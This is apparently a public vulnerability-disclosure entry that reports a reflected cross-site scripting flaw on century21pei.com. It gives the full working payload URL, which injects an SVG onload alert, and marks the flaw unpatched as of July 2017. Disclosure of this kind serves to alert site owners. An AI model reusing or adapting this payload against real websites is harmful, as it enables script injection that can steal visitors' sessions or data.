century21pei.com XSS vulnerability

Vulnerable URL: http://www.century21pei.com/map.php?lat=46.22791=-63.6423=L--%3E%3C/script%3E%3C/title%3E%22%3E%3Csvg/onload=alert/XSSPOSED/%3EARLETON%20C0B%201X0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:|...